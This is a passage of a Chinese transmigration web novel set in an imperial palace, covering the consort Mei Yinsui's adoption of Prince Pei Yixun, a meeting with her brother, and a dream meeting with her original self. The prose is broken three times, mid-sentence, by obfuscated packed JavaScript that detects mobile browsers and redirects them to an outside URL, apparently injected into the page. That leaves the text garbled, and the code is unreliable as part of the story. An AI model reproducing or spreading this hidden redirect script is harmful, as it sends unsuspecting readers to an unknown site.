梅胤穗心里冷笑,她只是想和裴翊珣有点盟友关系,能变成朋友都是最好到,只要最后裴翊珣上位之后不杀她就好了,她可没有什么当别人便宜后妈的癖好,更何况,裴翊珣只比她小四岁啊!四岁! 这下皇帝把她架在这,她不应,得罪皇帝,现在死,她应,得罪未来皇帝,迟早死。这种进不是退也不是的修罗场能不能不要再来了啊! 正当梅胤穗在脑子里疯狂想着解决方法时,一旁的裴翊珣倒是先跪了下来,行了礼之后,开始说一些让在场几人都目瞪口呆的话。 “贵妃待我极好,若贵妃愿意,我愿唤贵妃一声母妃。谢陛下。” “啪啪啪”只听见坐在椅子上的太后最先反应过来,拍了拍手笑着说:“这是极好的。陛下有心了。今日哀家乏了,贵妃,你和静王先退下吧。晚些时候,哀家叫人拟到旨意送去华阳宫就行。陛下留下陪哀家说说话吧,你也有些日子没来长寿宫了。” 梅胤穗借势告退,跨出门槛时差点被朱红门槛绊倒。九重宫阙的雪光刺得人睁不开眼,她望着甬道两侧垂首而立的宫人,突然觉得那些鸦青色宫装下都藏着淬毒的匕首。 “娘娘小心。”苏荷往她手里塞了个鎏金手炉,“您脸色好差可是昨晚没休息好?” 梅胤穗摆了摆手,心里还有些后怕。住在这诺大的皇宫中,像今日这种事,往后恐怕不会少。这九天之下,宫围之中,想来也是无一人能过安生日子。 二人没走几步,方才太后宫中的掌事姑姑追出来,“这是太后给您的雪蛤养荣膏,说是治伤最好,数年才得一瓶。这上一瓶送出去,还是给太子生母疗伤用的。” “劳烦姑姑跑一趟了,太后她老人家有心了。” 掌事姑姑走后,梅胤穗盯着锦盒里莹润的膏体看了好一会,突然笑出声来。哪有什么雪蛤,这分明是警告。 她怎么忘了这件事,原著里那个细思极恐的细节,太后宫中佛龛供奉的,是尊倒坐观音。原著提过太后擅制毒,雪蛤养荣膏遇热则化作剧毒,正是她用来控制人的手段。 而当时先太子所爱之人,那女子原本只是受了外伤,最后却死于剧毒。想来也是用这样的方法去警告,不过那女子没反应过来,只把这赐来的伤药当作宝,没成想却因此而亡。 太后从来都算不上什么好人,当年应是不满先太子娶一无权无势的边疆女子,没想到她肚子争气,生下皇子,最后也就是落得个去母留子的结局。 太后此番,不过是为了试探她,若她只是个单纯无用的人,那死了便死了。若她懂点事情,了解些原委,那这药便是警告,她若不好好待静王,起了什么别的心思,太后也能神不知鬼不觉的除掉她。 “贵妃娘娘怎么呆在这里不走了?不对,此刻我该改口叫母妃才对。” 4. 可以下药 裴翊珣缓步走来,面上带着几分戏谑的笑。 梅胤穗捧着锦盒的手指微微发颤。裴翊珣的轻笑声在宫墙夹道间格外清晰。 远处梅枝上的积雪簌簌而落,坠在少年鸦青色大氅上,像是给水墨画添了几粒留白。 “殿下此举倒是高明,从前竟不知静王殿下有如此谋略。” 梅胤穗对上裴翊珣乌黑的眸子,看着面前的少年,心里多了几分烦躁。 真是晦气啊!虽说这样一来,裴翊珣会长居华阳宫,她日后方便照顾,也能护着他表面上不被欺负。 但是,但是话又说回来了,给只比自己小四岁的男生当妈,这件事还是很难接受啊。更何况,原书中梅胤穗只比他大两岁。皇帝还真是脑回路轻奇。 “母妃这是要回华阳宫见梅将军吗?不知可否带我一程。”裴翊珣的话打断了梅胤穗的思路。 少年边说着,边咳嗽了几声,面色愈加苍白,脖颈处深色大氅的毛领衬得他肤色更无血色。 他轻轻抬起手,宽大的衣袖滑落,露出手腕上一圈乌青色的伤痕,那是从前原身鞭打留下的痕迹。 梅胤穗心中一紧,像是看到了什么吓人的东西忙收回目光,掩饰性地低下头。 “殿下身体羸弱,莫要再吹风了,随本宫一同回去吧。” 可恶啊,明明伤不是我打的,为什么我那么心虚啊! 裴翊珣微微一笑,跟在她身后,两人一前一后,沿着宫墙夹道缓缓前行。 积雪被踩得发出细碎的声响,宫墙内的世界仿佛与他们隔绝开来,只剩下这片刻的宁静与安宁。 雪下的愈发大了,皇宫内红墙上覆着一层薄薄的银白,更添了几分庄严与肃穆。 二人刚到华阳宫门口,便有人上前通传。 “贵妃娘娘,梅将军已在殿外等候多时。” “本宫知道了,苏荷,你带着长兄先到内殿,本宫一会便来。来人,先带静王殿下去偏殿换衣服。” 梅胤穗安排好一切,便欲转身步入内殿。 “母妃这是有体己话要同梅将军说?看来我还是先回栖梧阁比较好。”裴翊珣又低声咳了几声,那声音中带着几分不易察觉的哀怨。 梅胤穗脚步一顿,转过身来,看着裴翊珣那双似乎能洞察人心的眼睛,心中涌起一股莫名的烦躁。 她总感觉裴翊珣脸上带着点笑,看着莫名不爽。 之前看小说怎么没发现,裴翊珣还有当绿茶的潜质。 这一番话说出来,先不说栖梧阁离华阳宫格外远,若是她真的让裴翊珣一个人再走回栖梧阁,恐怕过不了一会,太后就要把她找过去问责了。 “殿下这是说的什么话,你身子弱,理应好好休息才是。本宫是怕你穿着湿衣服,回头害了风寒,太后可要惟我是问了。”梅胤穗强压下心中的不快,语气中带着几分咬牙切齿,“你先去换了衣服,一会再来内殿找本宫和将军便是了” “原来母妃是因为皇祖母才关心我啊......” “裴翊珣!” 梅胤穗听着他又接着要说些什么酸话,声音带着些气急败坏。 裴翊珣被喊了名字也没生气,只是笑着行了礼,便跟着一旁的太监往里走去。 没事的没事的,十六岁的孩子最是难管,不要和皮孩子生气。莫生气莫生气,气出病来无人替...... 梅胤穗看着裴翊珣的背影,深吸一口气,努力平复自己的心情,脸上扯出一个笑脸,这才转身步入内殿。 殿内炉火正旺,暖意融融,与她刚才所经之处截然不同。 听见声音,身着紫袍金带的男人从椅子上站起朝梅胤穗迎过来。 男人与梅胤穗容貌有几分相似,眉眼间皆是坚毅之色。 这便是梅胤穗的长兄,梅家军的统帅,梅将军梅胤飞。 几乎是在看到梅胤飞的瞬间,梅胤穗便感觉鼻子一酸,眼泪夺眶而出。 梅胤穗是独生子女,对一个突然多出来的哥哥自然也是没什么感情。所以这股悲伤的情绪,只可能是原身的。 看着自小宠爱到大的妹妹落泪,梅胤飞慌张的走到她面前给她擦着眼泪。看着面前熟悉的面容,梅胤飞心里莫名多了几分慌张。 原先父亲提出要将妹妹送进宫中侍奉新帝,他是极力反对的。可是朝中局势愈发紧张,父亲携众朝臣推举静王殿下为太子失败后,已成新帝眼中钉。 更不要说他手握梅家军,镇守边疆。现在这个新帝,可不向从前的先帝那么信他们梅家。 所以最后只有将极受宠爱的恶梅胤穗送进宫中这一下下策,有了梅胤穗这样一个新帝随时可以把握的人质,梅家便不敢轻举妄动。 再者,内宫有了梅姓女,便也可设法保障静王的安全。 “长兄,你怎么来了?可是家里出了什么事情。”梅胤穗努力压下情绪,拉着梅胤飞坐下。 “家中无事,父亲母亲都安好,只是我昨天莫名心神不宁,总觉得要出什么事情。正好今日陛下召我共商边疆军务,我便想着来见见你。没想到最后是太后松了口,把我送到了这里。” 梅胤飞轻叹一声,目光中满是疼惜:“穗穗,你在宫中可还好?那新帝可有为难你?” “兄长莫怕,就算是顾着你和父亲的面子,陛下也不会苛待我。有着贵妃的名头在,我在宫中的日子还算安好。只是,只是陛下不曾召我侍寝。”梅胤穗将放在桌上的手收了下去,用袖子盖住了先前在长寿宫的淤青。 梅胤飞闻言,眉头紧锁:“穗穗,你同我说,你可真的想侍奉陛下,若有任何不愿,为兄都会想法子帮你。” 说着,便从怀中拿出一个药瓶,“这是迷药,你若不愿,便将药莫在手腕上,倒是只需在陛下鼻间一过,便可立刻昏过去,且不会保留记忆。你拿好。” ? 梅胤穗看着梅胤飞将药瓶摆在他面前,顿了一下,犹豫的看着他。 OK,原来是可以用这种方法的吗?等一下,这样合法吗?这样真的不会被查出来吗?原来不管在哪里,都有草台班子吗? 梅胤飞没注意到她的疑惑,只是又从腰间掏出几个不同颜色的瓶子,不断说着药效,“这个也是迷药,可以下在茶杯里,无色无味,几滴就能迷倒一头牛。陛下早年吃喝享乐,身体早就亏空了,一滴就可以......” 梅胤穗越听越觉得好笑,一边尊敬的喊着陛下,一边和她盘算怎么迷倒皇帝好躲过侍寝,这可真是太奇妙了。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15668532|173038||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 她强忍着笑意,将药瓶一一收下:“兄长此举,我倒是真没想到。 梅胤飞闻言,神色稍霁,却仍有些不放心:“穗穗,你毕竟是女子,在后宫想必是身不由己多,我与父亲实在不便照顾,你定要照顾好自己。有任何不妥,都叫人传信给我。” 梅胤穗心中一动,她想起原著中梅胤穗的结局,新帝登基后,大肆打压梅家势力,梅家军险些被找理由被遣散,梅家自此失势。 之后裴翊珣篡位,梅胤飞和裴翊珣谈条件,若他可帮其夺位,便留梅胤穗一条生路,过往一起不纠。 可最后他还是没能得善终,临死前,还想着或许妹妹能好好活着。 只是梅胤穗是个不争气的,白白辜负了长兄留下的生机,最后落得个凌迟而死。 她不能坐以待毙,必须要想个法子,改变梅家的结局。 “兄长,你且放心,我会想办法的。”梅胤穗目光坚定,她想起原著中,新帝对梅家的猜忌,心中已然有了计较。 梅胤飞看着妹妹坚定的神色,心中稍安,却仍忍不住叮嘱:“穗穗,你一定要小心,万事以自身安全为重。” 梅胤穗点点头,心中涌起一股暖流。梅胤飞是她来到这个世界上第一个对她释放善意的人,往后在裴翊珣面前刷好感,也不能忘了多提提梅家的好。 从小给裴翊珣留下梅家同他是一条绳上蚂蚱的概念,想必后面能省去不少麻烦。 “贵妃娘娘,静王殿下在殿门口求见。”苏荷的声音从殿外传来,打断了梅胤穗的思绪。 梅胤穗微微皱眉,裴翊珣怎么这么快就换好衣服了?他不是应该在偏殿多休息一会吗? 但她很快便恢复了平静,对着苏荷吩咐道:“请他进来吧。” “兄长,方才忘了和你说,你与父亲先前不是叮嘱我要护着静王吗?今早皇帝下旨把他......” “儿臣见过母妃。” “放在我名下。” 梅胤穗话还未说完,便被一声“母妃”打断。 她眼看着梅胤飞逐渐僵住,面色有些惊讶。 “穗穗,虽说是让你想法子庇护他,但是也不是当他母妃啊,你这只比他大两岁,你这也太离谱了些。”梅胤飞压低声音,语气中带着几分不可置信和无奈。 梅胤穗无奈地耸耸肩,她也想拒绝啊,可这是皇帝的旨意,她能有什么办法。 裴翊珣似乎并未察觉到二人神色间的异样,只是微微垂眸。 梅胤穗深吸一口气,努力让自己的语气听起来自然些:“殿下怎么这么快就换好衣服了?身体可有不适?” 裴翊珣轻轻一笑,那笑容中带着几分不易察觉的狡黠:“母妃与梅将军有要事相商吗?若是如此,儿臣便不多打扰了。” 梅胤穗心里腹诽,你还怕打扰吗,你明明就是想来看我的笑话。 但她面上却不露分毫,只是淡淡道:“既然殿下已经来了,那便一起坐下吧。” 裴翊珣从善如流地在梅胤穗身旁坐下,目光却若有似无地扫过梅胤飞。梅胤飞被他看得心里发毛,却也只能强作镇定。 殿内气氛一时有些尴尬,梅胤飞轻咳一声,试图打破沉默:“殿下今日前来,可是有什么事?” 5. 兄妹之情 “没什么大事,我就是来看看穗穗,没想到能见到殿下。” 人在尴尬的时候总是会显得格外慌乱,梅胤飞端起先前苏荷送上来的茶水,抿了一口,表情狰狞了一下,随即又将茶杯放下。 “这茶味道不错啊,哈哈。” 见没人理自己,梅胤飞便又自顾自的停下了。 梅胤穗看着他的尴尬样子,偷偷笑出了声,“既然兄长觉得好喝,那就带点回家喝,正好让父亲母亲也尝尝,这能让兄长的喜欢的茶,味道到底同家里那些父亲细心收藏的有何不同。” 梅胤飞虽然在原书中并没有花多少笔墨去描写这个人,但是却有一个让梅胤穗印象深刻的点。梅父极爱喝茶,经常在京中大肆搜罗各色茶叶。而偏偏自己的大儿子最受不了茶叶的苦味,最不喜欢绿茶,唯一能入口的只有淡一点的红茶。 其实这原也不是什么特别的习惯,只是不爱喝茶,但惟独能接受红茶,这一点和梅胤穗一模一样。这种巧合的癖好发生在和自己同名同姓的小说人物的哥哥身上,怎么样都会特别在意一下吧。 梅胤飞看着自家妹妹不仅没有帮自己说话,还一直打趣他,狠狠瞪了她一眼,起身拍了拍她的头,打算告辞回家。 “兄长,现在翊珣已经在我名下,我们自然已经是一家,往后有什么事情也可一起商议。”梅胤穗站起走到梅胤飞身边,从苏荷手中接过大氅替他披上。 梅胤飞转头看着坐在位子上的裴翊珣,大概是之前淋雪受冻还没有缓过来,现在面色还是苍白的。发现有人看着他,也只是冲梅胤飞笑了笑。 看着那人带着微笑的面容,再看看站在身边帮自己理外衣的妹妹,梅胤飞脑子里莫名出来一个奇怪的想法。 “兄长,我送你出去。”梅胤穗的声音打断了他的思绪。看着面前的姑娘招呼着人拿伞,梅胤飞很快在心里否认了自己那荒谬的猜想。 “好了,就送到这里吧,你早些回去,照顾好自己。”梅胤飞从苏荷手中接过伞,“静王的事情,你也不必太过忧心,一切都以自己为主。父亲的那些话,你看看就好,哥哥只希望你顾好自己。” “我知道的,今天只是将计就计罢了。虽不知静王为何答应喊我母妃,但是把人放在身边,兄长和父亲总归会放心很多吧。之前的信我已经给他看过了。他若不是蠢材,也不会对我做什么的。兄长大可放心。对了,过几日便是腊八宫宴,不知道兄长可否设计让静王同父亲见一面。有些疑虑,总归是要见一面才能打消的。” “好,此事我回去同父亲一同商议,一有结果马上给你传信。” 梅胤飞撑着伞走出宫,没走两步又回头看了梅胤穗几眼。这次是妹妹进宫后,他们第一次见面。他总觉得妹妹变了不少,像是突然间就长大了不少。她不再同自己撒娇,不再要这要那,不再吵嚷着要离宫,也不再......喊他哥哥。 梅胤飞不知道这是妹妹的赌气又或是什么,他总觉得今日这场见面有点太仓促了,没来得及拥抱,没来得及问近况,甚至连从前想好的,要叮嘱的话语也没说全。好像不光是因为静王的到来打断了他们的对话,好像梅胤穗眉目言语间,见到他第一反应也不是兴奋。 宫墙数米高,快要高过京中瓦房,宫道狭窄,远不如市集宽阔。今年的雪下的格外大,红墙覆雪,不知道几时能化。妹妹大好年华只能留在宫中蹉跎,新帝不作为,昏庸无道。若是静王有意,若是真有可能...... 宫道不能骑马,梅胤飞只能慢慢一人走出宫,才可再骑马回家。 梅胤穗看着梅胤飞的背影,鼻尖又开始泛酸,眼眶微红,什么话都不说,只是看着背影慢慢隐没在风雪中。 “娘娘,大公子已经走远了,我们先进去吧,静王殿下还在里面坐着呢。”苏荷轻声提醒着,生怕梅胤穗再这般看下去,会忍不住哭出来。 自家小姐自从进了宫,便很少这般动容了。她虽不懂那些朝堂之事,却也明白,小姐如今这般做,全是为了梅家。昨日与静王一番对峙后,便逐渐变得平和起来,也不像从前那般焦躁易怒。 梅胤穗深吸了一口气,将眼中的泪意忍了下去。 “我们进去吧。”梅胤穗轻声说着,迈步向屋内走去。 裴翊珣见她进来,微微一笑,那笑容温和而疏离。 “母妃与将军絮完话了?那想来便有空和我聊聊了?” 梅胤穗刚打算坐下,却被裴翊珣一声“母妃”喊得局促,险些将手边的茶杯打翻。 可恶啊,“母妃”这个词,无论听多少次都不会习惯的吧,亏她之前还安慰自己什么习惯成自然。 “那个,翊珣,其实我不过大你四.....两岁,你私下不必喊我母妃的。同从前一样喊我贵妃便可。” “礼不可费.....” “其实我不会把你当儿子的,我们是盟友,我们只是盟友,实在深宫中彼此庇护彼此依靠罢了。或者,再不济,你就把我当成你姐姐,我大你两岁。你放心,我不想占你便宜的,我也不想占了你母妃的位置。这个称呼别给我,也别当成什么让我尴尬的道具。”梅胤穗将先前苏荷那给自己的汤婆子递给裴翊珣,“以后不要这样了,不要做这种杀敌一千自损八百的事情。别把对准敌人的那把刀变成双刃,刺向他人的同时又割伤了自己的手。” “苏荷,你带人好好收拾一下偏殿,早些时候让静王殿下住进来。”梅胤穗站起身来招呼侍女太监们,突然像是想起来什么似的,回头看着裴翊珣,“对了,翊珣,你是要住进来的对吧。” 皇子若是放在生母边上养,自然是从小就在母妃的宫殿长大。但裴翊珣身份地位奇怪,从前先太子在世时,由于没有母妃,于是便同父亲一同生活在东宫。而今皇叔上位为新帝,朝臣想推举他当太子好制衡新帝,却未果。 最后只封了个王爷,没有封地,不许外设出京,甚至借口年龄小,连一个府邸都不配有,只能在皇宫里,皇帝怕不是想让他在宫中留到及冠。 想到这,裴翊珣突然有点想笑,不对,他这个皇叔,不一定能让他活到二十岁呢。 看着面前回头的梅胤穗,第一反应便是昨天那瓶差点害他眼盲的毒药 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15668533|173038||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “裴翊珣,本宫在问你话。你之后打算住到华阳宫吗?你若是不来,本宫便也不叫他们收拾了。”好好说话没人听,梅胤穗见裴翊珣不知道盯着什么出了神,没好气的走到他身边,用手在他面前挥了挥。 翠色的镯子在眼前晃,裴翊珣一把抓过她的手腕,好让眉眼间清爽些,“住,贵妃娘娘都这么说了,我自然是要搬来的。” “那,你,就”,裴翊珣无意识的手劲格外大,梅胤穗废了很大力气才将手解救出来,“找几个小厮侍卫,去把你从前居所的东西搬到偏殿去。有任何缺的少的同苏荷说,让她给你找。” “昨夜给你治伤睡的太迟,今天又一早去请安。本宫可没精力陪你收拾整理,先回去了,再见。”说完,梅胤穗便快步走出前殿。 “再见?是什么意思,再会吗?” 在确定没人看到之后,梅胤穗拎着厚重的衣摆,快速跑回寝宫,连伞都顾不上打。远远看到寝宫外也有侍女候着,便又慢慢走进殿中,随手招了一个侍女来给自己解去繁杂的发饰和外衣。 “好了,你出去吧。殿内不要留人,本宫嫌吵。” 打发走侍女之后,梅胤穗披着外衣,抱着汤婆子坐在小榻上。 内殿里烧了炭火,窗户也关的很严实,不冷。但梅胤穗总感觉有些闷,也不知道是心里作用还是真的空气不流通。总之没过一会,梅胤穗就忍不住推开了窗户。 窗外雪景很好,一片白色映入眼帘,银装素裹,洁白无瑕。雪花仍在纷纷扬扬地飘落,像是天空中撒下的无数羽毛,轻盈而美丽。 梅胤穗静静地望着窗外的雪景,思绪却飘向了远方。她想起了自己穿书以来的种种经历,从最初的惶恐不安,到现在的逐渐适应,每一步都充满了荒诞和怪异。 这一切的进程都太快了,快到她甚至没有时间去仔细梳理原文故事情节,去判断自己的出现和作为,究竟对这个世界产生了潜移默化的影响。 短短一天,她就见到了太多书中人物了,或亲或疏,某些举止行为都没来得及按照原本的人物去演,幸而她本身的性格和原身进宫前差不多。骗骗见面不多的人都好办,苏荷也早就习惯了原身的阴晴不定,接受度十分良好。 现在最棘手的是原身的哥哥。 原身有两个哥哥,故而原身在家中自然是被从小宠到大的。大哥梅胤飞大她五岁,从军后同梅母夏蕤的母家共同建立梅家军。自原身十三岁之后,二人便不经常见面。所以今日,他大概是发现不了什么特殊的。 而梅胤穗的二哥梅胤晟,是她的孪生哥哥。二人是异卵双胞胎,自小心灵相通,如若真的见到面,想必很难瞒得住。 梅胤晟出生便有亏损,身体不好,这些年一直都养在家中不常出门。如今只能是希望他少出门,二人少见面,才能减少被发现的概率。 梅胤穗拿着笔在纸上慢慢写着,窗户开着,时常有风吹来。梅胤穗犹豫了片刻,便从床上将被子抱上了小榻。 大概是有了被子之后暖和了不少,不知道何时梅胤穗竟趴在桌上睡熟了。 6. 异世空间 梅胤穗记不清自己是什么时候迷迷糊糊睡着的,只是再有意识时,便到了一处迷雾之地,周身皆无所依。 经历过一场一睁眼就穿书的意识之旅后,梅胤穗的接受能力出乎意料的高。所以当她发现自己睡着一睁眼,又来到一个自己没见过的地方时,第一反应是—— 无语! 大写的无语好吗?你们抓人穿书能不能不要逮着一个人薅啊。犯困,睡着,穿越。又是这一套流程,讨厌死了,真是无语。 不过这次到时候之前大不相同了。 梅胤穗慢慢向前走着,却也不见周身景物出现变化,身前像是总有一团迷雾挡着。迷雾像是随她的步伐向前移动,总是能给她留着大概五米左右的视物距离。 笑死了,这一大片白空间,就算留十米也不见得能发现什么奇怪的东西。 不过这种情况,倒不太像是又穿越了。更像是,穿书系统卡BUG了,把她丢到一个单独的异空间了。 “喂!你们这个穿书难道没有系统的吗?就没个AI什么之类的来帮帮我吗?这么相信我?我就是一个大学生啊!你们不怕我把这个故事搞烂尾,把这个平行空间弄毁吗?” 梅胤穗朝着迷雾大喊,默默等了一会,发现并没有什么变化,只有她一个人尴尬罢了。 “什么狗屎平台,连个系统都请不起,敢让我控制不了身体,让我看前情提要,还没有什么缓冲上来直接开眼。现在不敢说话了,真窝囊,有本事你给我送回去啊,困在这个狗地方叫什么事。烦死了!”梅胤穗越说越气,步子越迈越大,嘴里不停嘟囔着不满。 “敢做不敢……”蓦然间,眼前再无视物距离,迷雾几乎要贴到梅胤穗面上。 “还是个骂不得的,真是难伺候。” 梅胤穗在原地待了一会,刚打算开口夸夸这个系统,看能不能哄好他,把原先的距离还给他。只见周身迷雾开始慢慢散去,逐渐将整个空间慢慢展现出来。 原来刚刚也是前情提要吗?还是为了给我个下马威。 梅胤穗一时间不知道该说些什么来描述自己此刻的心情,索性不再想这件事,开始仔细打量这个刚刚开发出的新地点。 这里像是一个被荒废了的院子,空间很大,甚至有池塘。远处有亭子,还能看见瓦房的影子。 忽然,梅胤穗听到一阵阵呜咽哭泣声,像是从竹亭那边传来。顺着池塘边的小路,梅胤穗迅速朝亭子走去。 越靠近竹亭,哭声便越明显。亭边有枯树挡着,梅胤穗走到跟前,才发现亭子中间,坐着一个身着石榴红织金锦诃子裙的女子,乌发慵懒挽作高髻,簪着一支赤金点翠嵌红宝的步摇,并几朵新鲜的玉簪花。哭泣声正是她发出来的。 看着这一身盛装的女子,梅胤穗突然有了一个荒谬的想法。 这个……不会是……原身吧…… 梅胤穗走入亭子,默默坐在亭边的一个椅子上,见那女子哭得伤心,一时间不知道该说些什么安慰,索性就只静坐着,等着那人发现自己。 大概是哭累了,没过一会,那女子便抬起头,一下子就对上了梅胤穗带笑的眸子。 “你你你,你是谁啊,你为什么能进来啊!”那女子显然被梅胤穗吓了一跳,猛地从椅子上站起来,连连向后退了几步,手指颤抖地指着梅胤穗,眼中满是惊惧,“你怎么还,还长得和我一模一样啊!” 梅胤穗其实从看到那女子面容开始,便确定了心中猜想,只是没想到,自己穿越之后,原身的灵魂没有去别处,而是来到了这个异世空间。 难道她并不是魂穿?而是身穿?原身是整体都被移到异空间了? 梅胤穗心中暗自思量,面上却不动声色,微笑着说道:“姑娘莫怕,我也是无意间来到这里的。我来和你解释为什么我和你长得一样。只是可能有些不太好接受,不过请姑娘一定相信我。看在,看在我们长得一模一样的份上。” 姑娘不要怕啊,因为你接下来还会发现,我们两个,连名字都是一模一样。 女子听罢,神色稍缓,却仍然带着几分戒备。 “其实,你是一个小说,不对,现在应该说话本,你是话本里的一个人物,是一个女配。而先前你进宫之后,一直虐待的静王裴翊珣,是这个话本中的男主。你的侍女苏荷,是话本的男主。按照故事的发展,你由于一直虐待男主,并且经常打骂女主。所以,后期男主上位登基为王之后,你就被,杀掉了。而且死状很惨。” 不知道为什么,梅胤穗说这些的时候,那女子的神情并没有什么特殊的变化,她平静的,就像是先前早已经知道这些事情了似的。 梅胤穗在说完一长段话之后,刻意停顿了一会,先看看那女子有没有什么话想说。但她并没有什么变化,只是原先哭红了的眼睛,好像又有眼泪浸湿眼眶。 “而我,我其实是看这个话本的一个读者。因为和你名字一模一样,所以被拉进这个话本里了。现在看来,或许选中我,还有我们两个长相一模一样的原因。我真的不是故意占了你的身体的,我也不知道这是为什么。我原来应该也没做什么特殊的事情。” 梅胤穗的声音越说越小,越说越不敢抬头看对面的女子。 “不是的。” “啊?什么不是。”梅胤穗猛地抬头,看着说话的人。 “不是的,你没有占我的身子。我还是我,你看,我手腕上有两颗并排的痣,而你没有。所以,身体都是我们各自的。”那女子指了指梅胤穗的手,她才发现,不知道什么时候,自己双手撑着下巴,手腕都已经露出来了。 “而且,其实你说的那些剧情我都知道了。我昨天刚刚来到这里,就看到一本书摆在面前,我打开一看,竟然就是我的一生,这应该就是你说的那个话本。其实,其实我该感谢你的,若不是你来了,我这样做下去,怕是要同话本里一样酿成大错,还一连害了整个梅家。”女子低头扣着手,声音逐渐哽咽起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15668534|173038||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来。 几乎是在听到泣音出现的第一声,梅胤穗就瞬移到她身边,扶住她的肩膀,打断她悲伤的情绪。 不行啊!不能再哭了!还不知道我能在这里待多久,不能把时间浪费在哭上,赶紧对剧情和故事背景才是最重要的啊! “没关系,我接受你的感谢。现在不许哭,听我说。我不知道我能在这里待多久,所以我俩把现在的信息互通一下,防止后面我假装你出现破绽。既然事已至此,我们就将计就计,想办法把命保住,把梅家保住才是正途,OK?” “好的,那OK是什么……” “哎呀,这不重要!我现在已经见过你大哥了,但我们说话的时间不多,应该是没有露馅的。然后由于一些特殊事情,太后对我赏识有加。然后现在,我是裴翊珣名义上的母妃。”梅胤穗在她马上要开口问出又一个浪费时间的不必要的问题时,就伸手捂住了她的嘴巴。 “母妃!天呐,”女子被放开说的第一句话先是感叹,随即又对上梅胤穗阴森的眼睛,便立刻止住了话题,“你看过原文应当清楚,我家你最需要担心的其实是我二哥,但是他身体不好,现在进宫之后,和他几乎不会有见面机会的。至于皇帝,听父亲和大哥说,他就只是一个草包子,原先最会仗势欺人,现在做了皇帝,只怕更是。但是只要不出现在他面前,目前的形势下,他还不会来可以为难你。” 听到仗势欺人这几个字,梅胤穗心里凉了几分。只怕她现在已经被皇帝记恨上了,不知道什么时候要来教训她。 “太后的话,她看上去亲切和蔼,其实内里对谁都没有多亲的。我小时候被带着见过她,她和先太子不像母子,起码不像母亲和大哥二哥那样。感觉她一点都不在意先太子,只是一味地让他学习练武。”女子说完这些之后,马上住了嘴,再没说什么别的,只是眼睛亮晶晶地看着梅胤穗。 “好的,我明白了。谢谢你。” “嘿嘿,没关系的。现在正事说完了,我们可以聊些别的了吧。”说着,女子站起身,拉着梅胤穗朝另一头的小楼走去。 梅胤穗突然被拉起来,一时间没反应过来,回过神之后,已经被挽着手走了。 她总感觉,这个姑娘和书里写得不一样。这哪里有纨绔凶狠样子?只不过可能是被宠爱骄纵长大的,话多了些,却也没什么防备心。大概也是因为如此,进宫之后才会被新帝轻而易举地策反,为他办事,最后害了全家。 “你与我同名,也叫梅胤穗吗?那我们每个字都一样吗?我是麦穗的穗。” “我也是的!那这样,你以后叫我澹秋吧,这是我的表字。我叫你穗穗,这样好分辨。”澹秋拉着梅胤穗走到小楼里,坐在书桌边,将自己的名字慢慢写在纸上。 看着纸上娟秀的字,梅胤穗一时间没有说话。 这样好的姑娘,放任自流,最后真的会变成文中那种狠毒的模样吗?到底是她本该如此,还是故事笔者,想让她如此。 7. 暗示敲打 “穗穗!你有听到我在喊你吗?”梅澹秋敲了敲桌子,弄出点声响,才将梅胤穗的思绪拉回来。 “听到了听到了,抱歉,我刚刚想别的事情去了。”梅胤穗看自己说完话,她的神色好看了些,便将视线放到了纸上的几个字上。 澹秋,澹有恬淡宁静之意,秋字又呼应了穗。古代其实很少有人会给女孩子取表字,她能有一个和自己名字相关的表字,而且从音律看来,也是用了不少心思。 原文中并没有提到梅胤穗有表字,而现在她却从书中人物的口中听到原本永远不会得知的消息。 这个感觉很奇特,是其实在被拉来书中之后,这本书就已经是一个世界了,这里包含着很多人的人生,是很多人的悲欢离合,喜怒哀乐。 从前她都是以书外人的身份,去看这些虚拟出来的故事中的感情。而这一次,她变成了书中人,说不好具体是什么心情,只是感觉更真实,更深刻,也更感动。 “澹秋,你和我多说说你家里人吧。我没有兄弟姐妹,和我说说有两个哥哥是什么感觉吧。” 梅胤穗看着梅澹秋盯着手腕上的镯子出神,眼眶又变红了。 “哥哥嘛。两个哥哥都对我很好,但也不太一样。大哥大我五岁,据母亲所说,他那时最喜欢挨着我和二哥,说是晚上睡觉了都舍不得走。后来他长大了些,又不知道从哪里听来的什么女儿家要富养,就更加宠我,天天下了学堂都会给我带玩具。在我房间里,还有个小箱子收着那些玩具。当时进宫应该是一起带来了,你若想看,可以让苏荷帮你找下。我的东西都是她帮我收的。” 提起与哥哥幼年的趣事,梅澹秋的眼睛都亮了不少。 “只是后来,大哥跟着舅父去疆外打仗了,便不常归家,不过,他还是和幼时一样,每次回来都要给我带东西。我那时候不懂事,十三岁,最是任性的时候。大哥当时离家我哭了很久,后来他回来我也不与他亲近,只愿意赌气喊他兄长。” 